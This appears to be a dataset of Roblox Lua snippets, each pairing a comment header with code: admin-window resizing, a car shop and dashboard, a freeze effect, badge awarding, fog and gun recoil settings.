if onMinimize then
onMinimize(Main.Visible)
end
if Walls then
wallPosition()
end
end
function isInFrame(x, y, frame)
if x > frame.AbsolutePosition.X and x < (frame.AbsolutePosition.X+frame.AbsoluteSize.X) and y > frame.AbsolutePosition.Y and y < (frame.AbsolutePosition.Y+frame.AbsoluteSize.Y) then
return true
else
return false
end
end
function wallPosition()
if gTable.Active then
local x,y = Drag.AbsolutePosition.X, Drag.AbsolutePosition.Y
local abx, gx, gy = Drag.AbsoluteSize.X, GUI.AbsoluteSize.X, GUI.AbsoluteSize.Y
local ySize = (Main.Visible and Main.AbsoluteSize.Y) or Drag.AbsoluteSize.Y
if x < 0 then
Drag.Position = UDim2.new(0, 0, Drag.Position.Y.Scale, Drag.Position.Y.Offset)
end
if y < 0 then
Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, 0)
end
if x + abx > gx then
Drag.Position = UDim2.new(0, GUI.AbsoluteSize.X - Drag.AbsoluteSize.X, Drag.Position.Y.Scale, Drag.Position.Y.Offset)
end
if y + ySize > gy then
Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, GUI.AbsoluteSize.Y - ySize)
end
end
end
function setSize(newSize)
if newSize and type(newSize) == "table" then
if newSize[1] < 50 then newSize[1] = 50 end
if newSize[2] < 50 then newSize[2] = 50 end
Drag.Size = UDim2.new(0,newSize[1],Drag.Size.Y.Scale,Drag.Size.Y.Offset)
Main.Size = UDim2.new(1,0,0,newSize[2])
end
end
function setPosition(newPos)
if newPos and typeof(newPos) == "UDim2" then
Drag.Position = newPos
elseif newPos and type(newPos) == "table" then
Drag.Position = UDim2.new(0, newPos[1], 0, newPos[2])
elseif Size and not newPos then
Drag.Position = UDim2.new(0.5, -Drag.AbsoluteSize.X/2, 0.5, -Main.AbsoluteSize.Y/2)
end
end
if Name then
gTable.Name = Name
if data.AllowMultiple ~= nil and data.AllowMultiple == false then
local found, num = client.UI.Get(Name, GUI, true)
if found then
doClose()
return nil
end
end
end
if Size then
setSize(Size)
end
if Position then
setPosition(Position)
end
if Title then
Titlef.Text = Title
end
if CanKeepAlive or not ResetOnSpawn then
gTable.CanKeepAlive = true
GUI.ResetOnSpawn = false
elseif ResetOnSpawn then
gTable.CanKeepAlive = false
GUI.ResetOnSpawn = true
end
if Icon then
Iconf.Visible = true
Iconf.Image = Icon
end
if CanvasSize then
ScrollFrame.CanvasSize = CanvasSize
end
if noClose then
Close.Visible = false
Refresh.Position = Hide.Position
Hide.Position = Close.Position
end
if noHide then
Hide.Visible = false
Refresh.Position = Hide.Position
end
if Walls then
Drag.DragStopped:Connect(function()
wallPosition()
end)
end
if onRefresh then
local debounce = false
function DoRefresh()
if not Refreshing then
local done = false
Refreshing = true
spawn(function()
while gTable.Active and not done do
for i = 0,180,10 do
rSpinner.Rotation = -i
wait(1/60)
end
end
end)
onRefresh()
wait(1)
done = true
Refreshing = false
end
end
Refresh.MouseButton1Down:Connect(function()
clickSound:Play()
RippleEffect(Refresh)
if not debounce then
debounce = true
DoRefresh()
debounce = false
end
end)
Titlef.Size = UDim2.new(1, -130, Titlef.Size.Y.Scale, Titlef.Size.Y.Offset)
else
Refresh.Visible = false
end
if iconClicked then
Iconf.MouseButton1Down(function()
clickSound:Play()
RippleEffect(Iconf)
iconClicked(data, GUI, Iconf)
end)
end
if Menu then
data.Menu.Text = ""
data.Menu.Parent = Main
data.Menu.Size = UDim2.new(1,-10,0,25)
data.Menu.Position = UDim2.new(0,5,0,25)
ScrollFrame.Size = UDim2.new(1,-10,1,-55)
ScrollFrame.Position = UDim2.new(0,5,0,50)
data.Menu.BackgroundColor3 = Color3.fromRGB(216, 216, 216)
data.Menu.BorderSizePixel = 0
create("TextLabel",data.Menu)
end
if not SizeLocked then
local startXPos = Drag.AbsolutePosition.X
local startYPos = Drag.AbsolutePosition.Y
local startXSize = Drag.AbsoluteSize.X
local startYSize = Drag.AbsoluteSize.Y
local vars = client.Variables
local newIcon
local inFrame
local ReallyInFrame
local function readify(obj)
obj.MouseEnter:Connect(function()
ReallyInFrame = obj
end)
obj.MouseLeave:Connect(function()
if ReallyInFrame == obj then
ReallyInFrame = nil
end
end)
end
--[[
readify(Drag)
readify(ScrollFrame)
readify(TopRight)
readify(TopLeft)
readify(RightCorner)
readify(LeftCorner)
readify(RightSide)
readify(LeftSide)
readify(Bottom)
readify(Top)
--]]
function checkMouse(x, y) --// Update later to remove frame by frame pos checking
if gTable.Active and Main.Visible then
if isInFrame(x, y, Drag) or isInFrame(x, y, ScrollFrame) then
inFrame = nil
newIcon = nil
elseif isInFrame(x, y, TopRight) then
inFrame = "TopRight"
newIcon = MouseIcons.TopRight
elseif isInFrame(x, y, TopLeft) then
inFrame = "TopLeft"
newIcon = MouseIcons.TopLeft
elseif isInFrame(x, y, RightCorner) then
inFrame = "RightCorner"
newIcon = MouseIcons.RightCorner
elseif isInFrame(x, y, LeftCorner) then
inFrame = "LeftCorner"
newIcon = MouseIcons.LeftCorner
elseif isInFrame(x, y, RightSide) then
inFrame = "RightSide"
newIcon = MouseIcons.Horizontal
elseif isInFrame(x, y, LeftSide) then
inFrame = "LeftSide"
newIcon = MouseIcons.Horizontal
elseif isInFrame(x, y, Bottom) then
inFrame = "Bottom"
newIcon = MouseIcons.Vertical
elseif isInFrame(x, y, Top) then
inFrame = "Top"
newIcon = MouseIcons.Vertical
else
inFrame = nil
newIcon = nil
end
else
inFrame = nil
end
if (not client.Variables.MouseLockedBy) or client.Variables.MouseLockedBy == gTable then
if inFrame and newIcon then
Mouse.Icon = newIcon
client.Variables.MouseLockedBy = gTable
elseif client.Variables.MouseLockedBy == gTable then
Mouse.Icon = curIcon
client.Variables.MouseLockedBy = nil
end
end
end
local function inputStart(x, y)
checkMouse(x, y)
if gTable.Active and inFrame and not Resizing and not isInFrame(x, y, ScrollFrame) and not isInFrame(x, y, Drag) then
Resizing = inFrame
startXPos = Drag.AbsolutePosition.X
startYPos = Drag.AbsolutePosition.Y
startXSize = Drag.AbsoluteSize.X
startYSize = Main.AbsoluteSize.Y
end
end
local function inputEnd()
if gTable.Active then
if Resizing and onResize then
onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))
end
Resizing = nil
Mouse.Icon = curIcon
--DragEnabled = true
--if Walls then
-- wallPosition()
--end
end
end
local function inputMoved(x, y)
if gTable.Active then
if Mouse.Icon ~= MouseIcons.TopRight and Mouse.Icon ~= MouseIcons.TopLeft and Mouse.Icon ~= MouseIcons.RightCorner and Mouse.Icon ~= MouseIcons.LeftCorner and Mouse.Icon ~= MouseIcons.Horizontal and Mouse.Icon ~= MouseIcons.Vertical then
curIcon = Mouse.Icon
end
if Resizing then
local moveX = false
local moveY = false
local newPos = Drag.Position
local xPos, yPos = x, y
local newX, newY = startXSize, startYSize
--DragEnabled = false
if Resizing == "TopRight" then
newX = (xPos - startXPos) + 3
newY = (startYPos - yPos) + startYSize -1
moveY = true
elseif Resizing == "TopLeft" then
newX = (startXPos - xPos) + startXSize -1
newY = (startYPos - yPos) + startYSize -1
moveY = true
moveX = true
elseif Resizing == "RightCorner" then
newX = (xPos - startXPos) + 3
newY = (yPos - startYPos) + 3
elseif Resizing == "LeftCorner" then
newX = (startXPos - xPos) + startXSize + 3
newY = (yPos - startYPos) + 3
moveX = true
elseif Resizing == "LeftSide" then
newX = (startXPos - xPos) + startXSize + 3
newY = startYSize
moveX = true
elseif Resizing == "RightSide" then
newX = (xPos - startXPos) + 3
newY = startYSize
elseif Resizing == "Bottom" then
newX = startXSize
newY = (yPos - startYPos) + 3
elseif Resizing == "Top" then
newX = startXSize
newY = (startYPos - yPos) + startYSize - 1
moveY = true
end
if newX < MinSize[1] then newX = MinSize[1] end
if newY < MinSize[2] then newY = MinSize[2] end
if newX > MaxSize[1] then newX = MaxSize[1] end
if newY > MaxSize[2] then newY = MaxSize[2] end
if moveX then
newPos = UDim2.new(0, (startXPos+startXSize)-newX, newPos.Y.Scale, newPos.Y.Offset)
end
if moveY then
newPos = UDim2.new(newPos.X.Scale, newPos.X.Offset, 0, (startYPos+startYSize)-newY)
end
Drag.Position = newPos
Drag.Size = UDim2.new(0, newX, Drag.Size.Y.Scale, Drag.Size.Y.Offset)
Main.Size = UDim2.new(Main.Size.X.Scale, Main.Size.X.Offset, 0, newY)
if not Titlef.TextFits then
Titlef.Visible = false
else
Titlef.Visible = true
end
else
checkMouse(x, y)
end
end
end
Event(InputService.InputBegan, function(input, gameHandled)
if not gameHandled and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
local Position = input.Position
inputStart(Position.X, Position.Y)
end
end)
Event(InputService.InputChanged, function(input, gameHandled)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
local Position = input.Position
inputMoved(Position.X, Position.Y)
end
end)
Event(InputService.InputEnded, function(input, gameHandled)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
inputEnd()
end
end)
--[[Event(Mouse.Button1Down, function()
if gTable.Active and inFrame and not Resizing and not isInFrame(Mouse.X, Mouse.Y, ScrollFrame) and not isInFrame(Mouse.X, Mouse.Y, Drag) then
Resizing = inFrame
startXPos = Drag.AbsolutePosition.X
startYPos = Drag.AbsolutePosition.Y
startXSize = Drag.AbsoluteSize.X
startYSize = Main.AbsoluteSize.Y
checkMouse()
end
end)
Event(Mouse.Button1Up, function()
if gTable.Active then
if Resizing and onResize then
onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))
end
Resizing = nil
Mouse.Icon = curIcon
--if Walls then
-- wallPosition()
--end
end
end)--]]
else
LeftSizeIcon.Visible = false
RightSizeIcon.Visible = false
end
Close.MouseButton1Click:Connect(function() clickSound:Play() doClose() end)
Hide.MouseButton1Click:Connect(function() clickSound:Play() doHide() end)
Close.MouseButton1Down:Connect(function() RippleEffect(Close) end)
Hide.MouseButton1Down:Connect(function() RippleEffect(Hide) end)
gTable.CustomDestroy = function()
service.UnWrap(GUI):Destroy()
if client.Variables.MouseLockedBy == gTable then
Mouse.Icon = curIcon
client.Variables.MouseLockedBy = nil
end
if not isClosed then
isClosed = true
if onClose then
onClose()
end
end
end
for i,child in next,GUI:GetChildren() do
if child.Name ~= "Desc" and child.Name ~= "Drag" then
specialInsts[child.Name] = child
child.Parent = nil
end
end
--// Drag & DisplayOrder Handler
do
local windowValue = Instance.new("BoolValue", GUI)
local dragDragging = false
local dragOffset
local inFrame
windowValue.Name = "__ADONIS_WINDOW"
Event(Main.InputBegan, function(input)
if gTable.Active and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
BringToFront()
end
end)
Event(Drag.InputBegan, function(input)
if gTable.Active then
inFrame = true
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
BringToFront()
end
end
end)
Event(Drag.InputChanged, function(input)
if gTable.Active then
inFrame = true
end
end)
Event(Drag.InputEnded, function(input)
inFrame = false
end)
Event(InputService.InputBegan, function(input)
if inFrame and GUI.DisplayOrder == 101 and not dragDragging and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then--isInFrame(input.Position.X, input.Position.Y, object) then
dragDragging = true
BringToFront()
dragOffset = Vector2.new(Drag.AbsolutePosition.X - input.Position.X, Drag.AbsolutePosition.Y - input.Position.Y)
end
end)
Event(InputService.InputChanged, function(input)
if dragDragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
Drag.Position = UDim2.new(0, dragOffset.X + input.Position.X, 0, dragOffset.Y + input.Position.Y)
end
end)
Event(InputService.InputEnded, function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragDragging = false
end
end)
end
--// Finishing up
local api = apiIfy(ScrollFrame, data)
local meta = api:GetMetatable()
local oldNewIndex = meta.__newindex
local oldIndex = meta.__index
create("ScrollingFrame", nil, ScrollFrame)
LoadChildren(api, Content)
api:SetSpecial("gTable", gTable)
api:SetSpecial("Window", GUI)
api:SetSpecial("Main", Main)
api:SetSpecial("Title", Titlef)
api:SetSpecial("Dragger", Drag)
api:SetSpecial("Destroy", doClose)
api:SetSpecial("Close", doClose)
api:SetSpecial("Object", ScrollFrame)
api:SetSpecial("Refresh", DoRefresh)
api:SetSpecial("AddTitleButton", function(ignore, data) if type(ignore) == "table" and not data then data = ignore end return addTitleButton(data) end)
api:SetSpecial("Ready", function() if onReady then onReady() end gTable.Ready() BringToFront() end)
api:SetSpecial("BindEvent", function(ignore, ...) Event(...) end)
api:SetSpecial("Hide", function(ignore, hide) doHide(hide) end)
api:SetSpecial("SetTitle", function(ignore, newTitle) Titlef.Text = newTitle end)
api:SetSpecial("SetPosition", function(ignore, newPos) setPosition(newPos) end)
api:SetSpecial("SetSize", function(ignore, newSize) setSize(newSize) end)
api:SetSpecial("GetPosition", function() return Drag.AbsolutePosition end)
api:SetSpecial("GetSize", function() return Main.AbsoluteSize end)
api:SetSpecial("IsVisible", isVisible)
api:SetSpecial("IsClosed", isClosed)
meta.__index = function(tab, ind)
if ind == "IsVisible" then
return isVisible()
elseif ind == "Closed" then
return isClosed
else
return oldIndex(tab, ind)
end
end
setSize(Size)
setPosition(Position)
if Ready then
gTable:Ready()
BringToFront()
end
return api,GUI
end
|
--generate templates
|
function GT()
---Clean
for _,v in pairs(ScrollFrame:GetChildren()) do
if v:IsA("Frame") then
v:Destroy()
end
end
---Generate
for _,v in pairs(CarStorage:GetChildren()) do
local Templatecopy = Template:Clone()
Templatecopy.Parent = ScrollFrame
Templatecopy.CarName.Text = v.Name
Templatecopy.BuySpawn.VehicleName.Value = v.Name
Templatecopy.ImageFrame.ImageLabel.Image = v.Image.Value
end
end
GT()
|
--Made by Luckymaxer
|
Character = script.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Head = Character:FindFirstChild("Head")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
Player = Players:GetPlayerFromCharacter(Character)
Duration = script:FindFirstChild("Duration")
BaseColor = BrickColor.new("Electric blue")
DarkProperties = {
All = {
--BrickColor = BaseColor,
Material = Enum.Material.Ice,
TextureId = "",
Texture = "",
VertexColor = Vector3.new(BaseColor.Color.r, BaseColor.Color.g, BaseColor.Color.b),
--BaseTextureId = 0,
--OverlayTextureId = 0,
SparkleColor = BaseColor.Color,
Color = BaseColor.Color,
SecondaryColor = BaseColor.Color,
},
Class = {
BasePart = {
Reflectance = 1,
Anchored = true,
},
ParticleEmitter = {
Color = ColorSequence.new(BaseColor.Color, BaseColor.Color),
},
Sparkles = {
Color = BaseColor.Color,
SparkleColor = BaseColor.Color,
},
Decal = {
Texture = "",
},
}
}
RemovedObjects = {}
function GetAllInstances(Parent)
local Instances = {}
local function GetInstances(Parent)
for i, v in pairs(Parent:GetChildren()) do
table.insert(Instances, v)
GetInstances(v)
end
end
GetInstances(Parent)
return Instances
end
function Freeze()
local FrozenInstances = GetAllInstances(Character)
OriginalInstances = {}
for i, v in pairs(FrozenInstances) do
local NewInstance = {Object = v, Properties = {}}
local PropertiesAltered = {}
if v:IsA("BasePart") and v.Name == "HumanoidRootPart" then
elseif v:IsA("CharacterMesh") then
local Mesh = Instance.new("SpecialMesh")
Mesh.MeshType = Enum.MeshType.FileMesh
Mesh.MeshId = ("http://www.roblox.com/asset/?id=" .. v.MeshId)
for ii, vv in pairs(Character:GetChildren()) do
if vv:IsA("BasePart") and v.BodyPart.Name == string.gsub(vv.Name, " ", "") then
Mesh.Parent = vv
table.insert(RemovedObjects, {Object = v, NewObject = Mesh, Parent = v.Parent})
v.Parent = nil
end
end
elseif v:IsA("Decal") and v.Name == "face" then
else
for ii, vv in pairs(DarkProperties.All) do
pcall(function()
NewInstance.Properties[ii] = v[ii]
PropertiesAltered[ii] = true
v[ii] = vv
end)
end
for ii, vv in pairs(DarkProperties.Class) do
if v:IsA(ii) then
for iii, vvv in pairs(vv) do
--if not PropertiesAltered[iii] then
pcall(function()
NewInstance.Properties[iii] = v[iii]
v[iii] = vvv
end)
--end
end
end
end
end
table.insert(OriginalInstances, NewInstance)
end
end
function Unfreeze()
for i, v in pairs(RemovedObjects) do
if v then
if v.NewObject and v.NewObject.Parent then
v.NewObject:Destroy()
end
v.Object.Parent = v.Parent
end
end
for i, v in pairs(OriginalInstances) do
if v.Object then
for ii, vv in pairs(v.Properties) do
pcall(function()
v.Object[ii] = vv
end)
end
end
end
end
Freeze()
if Duration and Duration.Value >= 0 then
wait(Duration.Value)
Unfreeze()
end
script:Destroy()
|
-- RightShoulder.MaxVelocity = 0.125
-- LeftShoulder.MaxVelocity = 0.125
-- RightShoulder.DesiredAngle = math.pi
-- LeftShoulder.DesiredAngle = -math.pi
-- RightHip.DesiredAngle = 0
-- LeftHip.DesiredAngle = 0
|
for _, motor in next, Limbs do
if string.match(motor.Name, "Left") or string.match(motor.Name, "Front") or string.match(motor.Name, "Right") or string.match(motor.Name, "Back") then
motor.DesiredAngle = 0
end
end
for _, motor in next, Joints do
motor.MaxVelocity = 0.125
motor.DesiredAngle = -(math.pi * 0.5)
end
end
function MoveFreeFall()
|
--DO NOT CHANGE
|
game.Players.PlayerAdded:connect(function(p)
wait(TimeNo)
b = game:GetService("BadgeService")
b:AwardBadge(p.userId,BadgeID)
end)
|
--Leonlai Fog Script. :D
|
wait(35)
game.Lighting.FogStart = 10
game.Lighting.FogEnd = 120
game.Lighting.FogColor = Color3.new(0, 0, 1)
game.Lighting.TimeOfDay = "00:00"
|
--// Tables
|
local L_97_ = {
"285421759";
"151130102";
"151130171";
"285421804";
"287769483";
"287769415";
"285421687";
"287769261";
"287772525";
"287772445";
"287772351";
"285421819";
"287772163";
}
local L_98_ = {
"2282590559";
"2282583154";
"2282584222";
"2282584708";
"2282585118";
"2282586860";
"2282587182";
"2282587628";
"2282588117";
"2282588433";
"2282576973";
"2282577954";
"2282578595";
"2282579272";
"2282579760";
"2282580279";
"2282580551";
"2282580935";
"2282582377";
"2282582717";
"2282449653";
}
local L_99_ = {
"2297264589";
"2297264920";
"2297265171";
"2297265394";
"2297266410";
"2297266774";
"2297267106";
"2297267463";
"2297267748";
"2297268261";
"2297268486";
"2297268707";
"2297268894";
"2297269092";
"2297269542";
"2297269946";
"2297270243";
"2297270591";
"2297270984";
"2297271381";
"2297271626";
"2297272112";
"2297272424";
}
local L_100_ = workspace:FindFirstChild("BulletModel: " .. L_2_.Name) or Instance.new("Folder", workspace)
L_100_.Name = "BulletModel: " .. L_2_.Name
local L_101_
local L_102_ = L_24_.Ammo
local L_103_ = L_24_.StoredAmmo * L_24_.MagCount
local L_104_ = L_24_.ExplosiveAmmo
IgnoreList = {
L_3_,
L_100_,
L_5_
}
|
-- MAIN --
|
local Sound = script.Parent.Parent.ButtonSound
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.TestFrame.Visible = true
script.Parent.Parent.TestFrame.BackButton.Visible = true
script.Parent.Visible = false
script.Parent.Parent.PlayButton = false
end)
script.Parent.MouseEnter:Connect(function()
Sound:Play()
end)
script.Parent.MouseLeave:Connect(function()
Sound.Playing = false
end)
|
--// Recoil Settings
|
camrecoil = 0.05; -- How much the camera flicks when not aiming
AimGunRecoil = -0.3; -- How much the gun recoils backwards when aiming
AimCamRecoil = 0.02; -- How much the camera flicks when aiming
CamShake = 3; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING
AimCamShake = 2; -- THIS IS ALSO NEW!!!!
Kickback = 6; -- Upward gun rotation when not aiming
AimKickback = 3; -- Upward gun rotation when aiming
|
--script.Parent.Player.Changed:connect(c3)
|
script.Parent.Parent.Changed:connect(c2)
game.Workspace.GameInProgress.Changed:connect(gameEnded)
|
--[[
Package link auto-generated by Rotriever
]]
|
local PackageIndex = script.Parent.Parent._Index
local Package = require(PackageIndex["TestEZ"]["TestEZ"])
return Package
|
-- VARIABLES --
|
local Player = Players.LocalPlayer
local Character
local Humanoid
local HRP
local Tool = script.Parent
local attackRemote = Remotes:WaitForChild("Attack")
local Equipped = script:WaitForChild("Equipped")
|
-------------------------
|
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "k" then --Camera controls
if cam == ("car") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Custom")
cam = ("freeplr")
Camera.FieldOfView = 70
elseif cam == ("freeplr") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Attach")
cam = ("lockplr")
Camera.FieldOfView = 45
elseif cam == ("lockplr") then
Camera.CameraSubject = carSeat
Camera.CameraType = ("Custom")
cam = ("car")
Camera.FieldOfView = 70
end
elseif key == "u" then --Window controls
if windows == false then
winfob.Visible = true
windows = true
else windows = false
winfob.Visible = false
end
elseif key == "[" then -- volume down
if carSeat.Parent.Body.MP.Sound.Volume > 0 then
handler:FireServer('updateVolume', -0.5)
end
elseif key == "]" then -- volume up
if carSeat.Parent.Body.MP.Sound.Volume < 10 then
handler:FireServer('updateVolume', 0.5)
end
elseif key == "f" then --FM Screen Switch
handler:FireServer('FMSwitch')
elseif key == "n" then --Mode Screen Switch
handler:FireServer('IMode')
elseif key == "j" then --seatlock
if carSeat.Seatlock.Value == false then
handler:FireServer('seatlock',true,0)
else
handler:FireServer('seatlock',false,12)
end
end
end)
for i,v in pairs(script.Parent:getChildren()) do
if v:IsA('ImageButton') then
v.MouseButton1Click:connect(function()
if carSeat.Windows:FindFirstChild(v.Name) then
local v = carSeat.Windows:FindFirstChild(v.Name)
if v.Value == true then
handler:FireServer('updateWindows', v.Name, false)
else
handler:FireServer('updateWindows', v.Name, true)
end
end
end)
end
end
HUB.Limiter.MouseButton1Click:connect(function() --Ignition
if carSeat.IsOn.Value == false then
carSeat.IsOn.Value = true
carSeat.Startup:Play()
wait(1)
else
carSeat.IsOn.Value = false
end
end)
winfob.mg.Play.MouseButton1Click:connect(function() --Play the next song
handler:FireServer('updateSong', winfob.mg.Input.Text)
end)
winfob.mg.Stop.MouseButton1Click:connect(function() --Play the next song
handler:FireServer('pauseSong')
end)
carSeat.Indicator.Changed:connect(function()
if carSeat.Indicator.Value == true then
script.Parent.Indicator:Play()
else
script.Parent.Indicator2:Play()
end
end)
carSeat.LI.Changed:connect(function()
if carSeat.LI.Value == true then
carSeat.Parent.Body.Dash.DashSc.G.Left.Visible = true
script.Parent.HUB.Left.Visible = true
else
carSeat.Parent.Body.Dash.DashSc.G.Left.Visible = false
script.Parent.HUB.Left.Visible = false
end
end)
carSeat.RI.Changed:connect(function()
if carSeat.RI.Value == true then
carSeat.Parent.Body.Dash.DashSc.G.Right.Visible = true
script.Parent.HUB.Right.Visible = true
else
carSeat.Parent.Body.Dash.DashSc.G.Right.Visible = false
script.Parent.HUB.Right.Visible = false
end
end)
while wait() do
if carSeat.Parent:FindFirstChild("Body") then
carSeat.Parent.Body.Dash.Speed.G.Speed.Text = math.floor(carSeat.Velocity.magnitude*((10/12) * (60/88)))
end
carSeat.Parent.Body.Dash.Screen.G.BG.Time.Text = game.Lighting.TimeOfDay
carSeat.Parent.Body.Dash.Screen.G.Blank.Time.Text = game.Lighting.TimeOfDay
end
|
--Tune
|
OverheatSpeed = .55 --How fast the car will overheat
CoolingEfficiency = .08 --How fast the car will cool down
RunningTemp = 60 --In degrees
Fan = true --Cooling fan
FanTemp = 110 --At what temperature the cooling fan will activate
FanTempAlpha = 130 --At what temperature the cooling fan will deactivate
FanSpeed = .08 --How fast the car will cool down
FanVolume = .5 --Sound volume
BlowupTemp = 130 --At what temperature the engine will blow up
GUI = true --GUI temperature gauge
|
--[[
Database
Description: A simple module to parse the hiearchy into a tree so that the tree data
can be referenced by just requiring this module.
Usage:
To reference data, simply require this module and index the folder of your interest
local ReplicateStorage = game:GetSerivce("ReplicatedStorage")
local Database = require(ReplicatedStorage.Commons.Database)
print( Database.Equipment.TestWeapon )
]]
| |
--// Event Connections
|
L_107_.OnClientEvent:connect(function(L_311_arg1, L_312_arg2)
if L_311_arg1 ~= L_2_ then
local L_313_ = L_311_arg1.Character
local L_314_ = L_313_.AnimBase.AnimBaseW
local L_315_ = L_314_.C1
if L_312_arg2 then
L_119_(L_314_, nil , L_313_.Head.CFrame, function(L_316_arg1)
return math.sin(math.rad(L_316_arg1))
end, 0.25)
elseif not L_312_arg2 then
L_119_(L_314_, nil , L_315_, function(L_317_arg1)
return math.sin(math.rad(L_317_arg1))
end, 0.25)
end
end
end)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.